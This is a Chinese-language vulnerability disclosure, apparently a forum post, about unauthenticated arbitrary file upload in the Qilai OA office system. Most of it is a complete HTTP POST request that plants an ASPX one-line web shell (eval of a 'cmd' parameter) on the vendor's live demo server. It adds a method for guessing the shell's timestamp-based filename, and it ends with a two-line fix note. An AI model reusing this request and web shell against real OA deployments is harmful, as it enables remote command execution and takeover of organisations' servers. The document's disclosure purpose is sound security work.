某OA系统无需登录GetShell，官方demo已GetShell

官方：http://www.qioa.cn/

启莱OA（包括标准版，政务办，教育版，工程版）

官方案例：http://www.qioa.cn/index.php?m=content&c=index&a=lists&catid=7

用户还是很多的。

启莱OA标准版官方演示地址：

http://test.oawin.net:8888/Login.aspx
 

上传地址：

http://test.oawin.net:8888/Client/UserInfo_update.aspx?user=admin

在用户头像上传处，虽然是在登陆后才能进行的功能，存在两个缺陷：

1、但是这里在上传文件时，判断用户登陆存在缺陷，不用登陆也能直接上传

2、在上上传是没有判断文件后缀，直接上传任意文件

发送请求如下：
 

POST /Client/UserInfo_update.aspx?user=admin HTTP/1.1
Host: test.oawin.net:8888
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------16733431817708
Content-Length: 1715

-----------------------------16733431817708
Content-Disposition: form-data; name="__VIEWSTATE"


-----------------------------16733431817708
Content-Disposition: form-data; name="Sex"

男
-----------------------------16733431817708
Content-Disposition: form-data; name="Bothday"

2012-2-10
-----------------------------16733431817708
Content-Disposition: form-data; name="uploadFile"; filename="123.aspx"
Content-Type: image/jpeg

<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
-----------------------------16733431817708
Content-Disposition: form-data; name="Tel"


-----------------------------16733431817708
Content-Disposition: form-data; name="Fax"


-----------------------------16733431817708
Content-Disposition: form-data; name="MoveTel"


-----------------------------16733431817708
Content-Disposition: form-data; name="LittleTel"


-----------------------------16733431817708
Content-Disposition: form-data; name="Email"


-----------------------------16733431817708
Content-Disposition: form-data; name="QQNum"


-----------------------------16733431817708
Content-Disposition: form-data; name="Msn"


-----------------------------16733431817708
Content-Disposition: form-data; name="ICQ"


-----------------------------16733431817708
Content-Disposition: form-data; name="Address"


-----------------------------16733431817708
Content-Disposition: form-data; name="ZipCode"


-----------------------------16733431817708
Content-Disposition: form-data; name="HomeTel"


-----------------------------16733431817708
Content-Disposition: form-data; name="Button1"

提交
-----------------------------16733431817708--

虽然会提示登陆超时，但是依然成功更新，成功上传aspx文件。



上传后的shell地址为：

http://test.oawin.net:8888/SystemManage/User/file/年月日时分秒+7位数字.aspx

如：http://test.oawin.net:8888/SystemManage/User/file/20146181626151851927.aspx

在同一秒内，我们可以上传很多文件，这样大大加大了文件名猜解速度。

来一张官方demo的shell：
 

修复方案：

严格控制用户验证

限制上传问价类型